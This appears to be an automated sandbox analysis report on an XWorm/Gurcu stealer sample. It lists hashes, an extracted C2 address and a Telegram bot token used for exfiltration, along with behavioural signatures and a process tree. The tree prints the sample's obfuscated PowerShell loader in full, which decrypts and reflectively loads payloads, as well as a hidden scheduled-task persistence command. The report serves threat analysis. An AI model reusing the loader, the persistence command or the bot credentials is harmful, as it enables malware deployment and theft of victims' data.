gurcu | 8da2637a9b0a05e0f4658527e1571bb18b14a3ba6934658150d796d85d032480

Analysis

max time kernel
144s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
08/08/2024, 03:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Svhost2.exe
Size 36.2MB
Sample240808-ec9v5ssgpe
SHA256 8da2637a9b0a05e0f4658527e1571bb18b14a3ba6934658150d796d85d032480
MD5 60a9e5320e3fe7aefbff72bca88ccbf0
SHA1 65af43eb84c187d834d1e0113f1aa7f0b82fcadd
SHA512 04581124c8bae3ce7a3bef059d3296ac7d7b994af501de0ab29b94094dd5683df500914676d13204f29cd61eef8bcdb36f149f582fddd890d33cd014ba96c359
SSDEEP 393216:31Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYft:3Mguj8Q4VfvsqFTrYH
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

gurcu xworm execution persistence rat stealer trojan

Malware Config

Extracted

Family

xworm

147.185.221.21:57819

Attributes

Install_directory
%AppData%
install_file
USB.exe
telegram
https://api.telegram.org/bot6863578083:AAGRiPUfgfiDpbqzNp6a_eWtUpxWtlGT2AA/sendMessage?chat_id=6237826260

Extracted

Family

gurcu

https://api.telegram.org/bot6863578083:AAGRiPUfgfiDpbqzNp6a_eWtUpxWtlGT2AA/sendMessage?chat_id=6237826260

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/2584-222-0x000001ACE7860000-0x000001ACE786E000-memory.dmp	disable_win_def

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2584-95-0x000001ACE7150000-0x000001ACE716A000-memory.dmp	family_xworm

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 5 IoCs

flow	pid	Process
17	2584	powershell.exe
20	2584	powershell.exe
22	2584	powershell.exe
46	2584	powershell.exe
47	2584	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5076	powershell.exe
1084	powershell.exe
1360	powershell.exe
4184	powershell.exe
3272	powershell.exe
808	powershell.exe
2584	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Svhost.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Svhost.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1892	Svhost

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Svhost = "C:\\Users\\Admin\\AppData\\Roaming\\Svhost"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Svhost	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133675626030650807"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\ICT = "133670795398824522"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133675626025338186"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\PCT = "133670795396793284"	svchost.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4744	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3272	powershell.exe
3272	powershell.exe
808	powershell.exe
808	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
1084	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
1084	powershell.exe
1360	powershell.exe
1360	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
4184	powershell.exe
4184	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
5076	powershell.exe
5076	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3272	powershell.exe
Token: SeDebugPrivilege	808	powershell.exe
Token: SeIncreaseQuotaPrivilege	808	powershell.exe
Token: SeSecurityPrivilege	808	powershell.exe
Token: SeTakeOwnershipPrivilege	808	powershell.exe
Token: SeLoadDriverPrivilege	808	powershell.exe
Token: SeSystemProfilePrivilege	808	powershell.exe
Token: SeSystemtimePrivilege	808	powershell.exe
Token: SeProfSingleProcessPrivilege	808	powershell.exe
Token: SeIncBasePriorityPrivilege	808	powershell.exe
Token: SeCreatePagefilePrivilege	808	powershell.exe
Token: SeBackupPrivilege	808	powershell.exe
Token: SeRestorePrivilege	808	powershell.exe
Token: SeShutdownPrivilege	808	powershell.exe
Token: SeDebugPrivilege	808	powershell.exe
Token: SeSystemEnvironmentPrivilege	808	powershell.exe
Token: SeRemoteShutdownPrivilege	808	powershell.exe
Token: SeUndockPrivilege	808	powershell.exe
Token: SeManageVolumePrivilege	808	powershell.exe
Token: 33	808	powershell.exe
Token: 34	808	powershell.exe
Token: 35	808	powershell.exe
Token: 36	808	powershell.exe
Token: SeIncreaseQuotaPrivilege	808	powershell.exe
Token: SeSecurityPrivilege	808	powershell.exe
Token: SeTakeOwnershipPrivilege	808	powershell.exe
Token: SeLoadDriverPrivilege	808	powershell.exe
Token: SeSystemProfilePrivilege	808	powershell.exe
Token: SeSystemtimePrivilege	808	powershell.exe
Token: SeProfSingleProcessPrivilege	808	powershell.exe
Token: SeIncBasePriorityPrivilege	808	powershell.exe
Token: SeCreatePagefilePrivilege	808	powershell.exe
Token: SeBackupPrivilege	808	powershell.exe
Token: SeRestorePrivilege	808	powershell.exe
Token: SeShutdownPrivilege	808	powershell.exe
Token: SeDebugPrivilege	808	powershell.exe
Token: SeSystemEnvironmentPrivilege	808	powershell.exe
Token: SeRemoteShutdownPrivilege	808	powershell.exe
Token: SeUndockPrivilege	808	powershell.exe
Token: SeManageVolumePrivilege	808	powershell.exe
Token: 33	808	powershell.exe
Token: 34	808	powershell.exe
Token: 35	808	powershell.exe
Token: 36	808	powershell.exe
Token: SeIncreaseQuotaPrivilege	808	powershell.exe
Token: SeSecurityPrivilege	808	powershell.exe
Token: SeTakeOwnershipPrivilege	808	powershell.exe
Token: SeLoadDriverPrivilege	808	powershell.exe
Token: SeSystemProfilePrivilege	808	powershell.exe
Token: SeSystemtimePrivilege	808	powershell.exe
Token: SeProfSingleProcessPrivilege	808	powershell.exe
Token: SeIncBasePriorityPrivilege	808	powershell.exe
Token: SeCreatePagefilePrivilege	808	powershell.exe
Token: SeBackupPrivilege	808	powershell.exe
Token: SeRestorePrivilege	808	powershell.exe
Token: SeShutdownPrivilege	808	powershell.exe
Token: SeDebugPrivilege	808	powershell.exe
Token: SeSystemEnvironmentPrivilege	808	powershell.exe
Token: SeRemoteShutdownPrivilege	808	powershell.exe
Token: SeUndockPrivilege	808	powershell.exe
Token: SeManageVolumePrivilege	808	powershell.exe
Token: 33	808	powershell.exe
Token: 34	808	powershell.exe
Token: 35	808	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2584	powershell.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3332	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4048 wrote to memory of 3588	4048	Svhost2.exe	87
PID 4048 wrote to memory of 3588	4048	Svhost2.exe	87
PID 3588 wrote to memory of 4880	3588	cmd.exe	88
PID 3588 wrote to memory of 4880	3588	cmd.exe	88
PID 4880 wrote to memory of 5036	4880	net.exe	89
PID 4880 wrote to memory of 5036	4880	net.exe	89
PID 3588 wrote to memory of 1628	3588	cmd.exe	90
PID 3588 wrote to memory of 1628	3588	cmd.exe	90
PID 3588 wrote to memory of 3272	3588	cmd.exe	91
PID 3588 wrote to memory of 3272	3588	cmd.exe	91
PID 3272 wrote to memory of 808	3272	powershell.exe	92
PID 3272 wrote to memory of 808	3272	powershell.exe	92
PID 3272 wrote to memory of 2512	3272	powershell.exe	95
PID 3272 wrote to memory of 2512	3272	powershell.exe	95
PID 2512 wrote to memory of 1948	2512	WScript.exe	96
PID 2512 wrote to memory of 1948	2512	WScript.exe	96
PID 1948 wrote to memory of 3476	1948	cmd.exe	98
PID 1948 wrote to memory of 3476	1948	cmd.exe	98
PID 3476 wrote to memory of 3608	3476	net.exe	99
PID 3476 wrote to memory of 3608	3476	net.exe	99
PID 1948 wrote to memory of 3228	1948	cmd.exe	100
PID 1948 wrote to memory of 3228	1948	cmd.exe	100
PID 1948 wrote to memory of 2584	1948	cmd.exe	101
PID 1948 wrote to memory of 2584	1948	cmd.exe	101
PID 2584 wrote to memory of 3332	2584	powershell.exe	56
PID 2584 wrote to memory of 1368	2584	powershell.exe	22
PID 2584 wrote to memory of 4712	2584	powershell.exe	72
PID 2584 wrote to memory of 3324	2584	powershell.exe	55
PID 2584 wrote to memory of 956	2584	powershell.exe	12
PID 2584 wrote to memory of 2724	2584	powershell.exe	46
PID 2584 wrote to memory of 3500	2584	powershell.exe	57
PID 2584 wrote to memory of 1116	2584	powershell.exe	67
PID 2584 wrote to memory of 1920	2584	powershell.exe	33
PID 2584 wrote to memory of 1524	2584	powershell.exe	27
PID 2584 wrote to memory of 1520	2584	powershell.exe	36
PID 2584 wrote to memory of 2692	2584	powershell.exe	45
PID 2584 wrote to memory of 1704	2584	powershell.exe	30
PID 2584 wrote to memory of 1504	2584	powershell.exe	26
PID 2584 wrote to memory of 1696	2584	powershell.exe	29
PID 2584 wrote to memory of 2284	2584	powershell.exe	41
PID 2584 wrote to memory of 2236	2584	powershell.exe	74
PID 2584 wrote to memory of 900	2584	powershell.exe	11
PID 2584 wrote to memory of 3060	2584	powershell.exe	52
PID 2584 wrote to memory of 1088	2584	powershell.exe	18
PID 2584 wrote to memory of 1676	2584	powershell.exe	37
PID 2584 wrote to memory of 1280	2584	powershell.exe	21
PID 2584 wrote to memory of 1476	2584	powershell.exe	25
PID 2584 wrote to memory of 512	2584	powershell.exe	14
PID 2584 wrote to memory of 2448	2584	powershell.exe	42
PID 2584 wrote to memory of 1052	2584	powershell.exe	17
PID 2584 wrote to memory of 2824	2584	powershell.exe	50
PID 2584 wrote to memory of 60	2584	powershell.exe	71
PID 2584 wrote to memory of 1044	2584	powershell.exe	16
PID 2584 wrote to memory of 2812	2584	powershell.exe	49
PID 2584 wrote to memory of 1232	2584	powershell.exe	20
PID 2584 wrote to memory of 1620	2584	powershell.exe	28
PID 2584 wrote to memory of 2800	2584	powershell.exe	48
PID 2584 wrote to memory of 2208	2584	powershell.exe	40
PID 2584 wrote to memory of 3984	2584	powershell.exe	65
PID 2584 wrote to memory of 432	2584	powershell.exe	15
PID 2584 wrote to memory of 1416	2584	powershell.exe	24
PID 2584 wrote to memory of 1808	2584	powershell.exe	32
PID 2584 wrote to memory of 3884	2584	powershell.exe	68
PID 2584 wrote to memory of 1408	2584	powershell.exe	23

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Modifies registry class
PID:796
- C:\Windows\system32\backgroundTaskHost.exe
  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
  2⤵
  PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1188
- C:\Users\Admin\AppData\Roaming\Svhost
  C:\Users\Admin\AppData\Roaming\Svhost
  2⤵
  - Executes dropped EXE
  PID:1892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2208

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3324

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3332
- C:\Users\Admin\AppData\Local\Temp\Svhost2.exe
  "C:\Users\Admin\AppData\Local\Temp\Svhost2.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4048
- - C:\Windows\system32\cmd.exe
    cmd.exe /d /c call C:\Users\Admin\AppData\Local\Temp\0l810b.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3588
  - - C:\Windows\system32\net.exe
      net file
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4880
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        5⤵
        
        PID:5036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YvgrXpsl+t//eCtGoYbRqilS5hXfnRrg0c/aeW/EwJ4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xG9XlekfxFVf1BjZK9/53g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WAvkd=New-Object System.IO.MemoryStream(,$param_var); $PKlwv=New-Object System.IO.MemoryStream; $AdYmg=New-Object System.IO.Compression.GZipStream($WAvkd, [IO.Compression.CompressionMode]::Decompress); $AdYmg.CopyTo($PKlwv); $AdYmg.Dispose(); $WAvkd.Dispose(); $PKlwv.Dispose(); $PKlwv.ToArray();}function execute_function($param_var,$param2_var){ $Hhsdl=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $JtcqQ=$Hhsdl.EntryPoint; $JtcqQ.Invoke($null, $param2_var);}$PtruM = 'C:\Users\Admin\AppData\Local\Temp\0l810b.bat';$host.UI.RawUI.WindowTitle = $PtruM;$zfZHV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($PtruM).Split([Environment]::NewLine);foreach ($QhBXD in $zfZHV) { if ($QhBXD.StartsWith('lAAEqthHxAMRpRCztSzl')) { $UXwoD=$QhBXD.Substring(20); break; }}$payloads_var=[string[]]$UXwoD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      4⤵
      PID:1628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3272
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_374_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_374.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:808
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_374.vbs"
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2512
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_374.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1948
        
        C:\Windows\system32\net.exe
        
        net file
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3476
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        8⤵
        
        PID:3608
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YvgrXpsl+t//eCtGoYbRqilS5hXfnRrg0c/aeW/EwJ4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xG9XlekfxFVf1BjZK9/53g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WAvkd=New-Object System.IO.MemoryStream(,$param_var); $PKlwv=New-Object System.IO.MemoryStream; $AdYmg=New-Object System.IO.Compression.GZipStream($WAvkd, [IO.Compression.CompressionMode]::Decompress); $AdYmg.CopyTo($PKlwv); $AdYmg.Dispose(); $WAvkd.Dispose(); $PKlwv.Dispose(); $PKlwv.ToArray();}function execute_function($param_var,$param2_var){ $Hhsdl=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $JtcqQ=$Hhsdl.EntryPoint; $JtcqQ.Invoke($null, $param2_var);}$PtruM = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_374.bat';$host.UI.RawUI.WindowTitle = $PtruM;$zfZHV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($PtruM).Split([Environment]::NewLine);foreach ($QhBXD in $zfZHV) { if ($QhBXD.StartsWith('lAAEqthHxAMRpRCztSzl')) { $UXwoD=$QhBXD.Substring(20); break; }}$payloads_var=[string[]]$UXwoD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function 